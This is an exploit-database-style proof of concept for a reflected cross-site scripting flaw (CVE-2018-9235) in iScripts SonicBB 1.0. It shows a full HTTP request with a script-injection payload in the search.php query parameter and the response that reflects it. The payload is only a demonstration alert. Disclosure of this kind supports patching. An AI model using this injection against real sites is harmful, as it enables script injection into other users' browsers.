iScripts SonicBB 1.0 - Reflected Cross-Site Scripting (PoC)

# Exploit Title: iScripts SonicBB 1.0 - Reflected Cross-Site Scripting
# Date: 02/04/2018
# Exploit Author: ManhNho
# Vendor Homepage: https://www.iscripts.com
# Demo Page: https://www.demo.iscripts.com/sonicbb/demo/
# Version: 1.0
# Tested on: Windows 10
# Category: Webapps
# CVE: CVE-2018-9235

1. Description
====================
iScripts SonicBB 1.0 has Reflected Cross-Site Scripting via the query
parameter to search.php

2. PoC
====================
Request:

GET
/sonicbb/demo/search.php?query=%22%3E%3Cscript%3Ealert%28%271%27%29%3C%2Fscript%3E
HTTP/1.1
Host: www.demo.iscripts.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0)
Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=227100805.298811387.1522637403.1522637403.1522637403.1;
__utmb=227100805; __utmc=227100805;
__utmz=227100805.1522637403.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none);
PHPSESSID=grh7l3amrvhoapig8ll268l9o4;
messagesUtk=9ae2fcc5306f4d9c8d433f0f58efb968; hs-messages-is-open=false
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Date: Mon, 02 Apr 2018 02:58:48 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 3619
...
    <tr>
     <td width="76%" class="alt1"><a href="index.php">iScripts Forum</a> ->
<a href="search.php?query="><script>alert('1')</script>">Search</a></td>
     <td width="24%" align="center" class="alt1">
      <form method="GET" action="search.php" style="display: inline">
       <input type="text" name="query" size="12" style="font-size: 10px">
       <input type="submit" value="Search" style="font-size: 10px">
      </form>
     </td>
    </tr>
...

3. References
====================
https://pastebin.com/caQW37fY
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-9235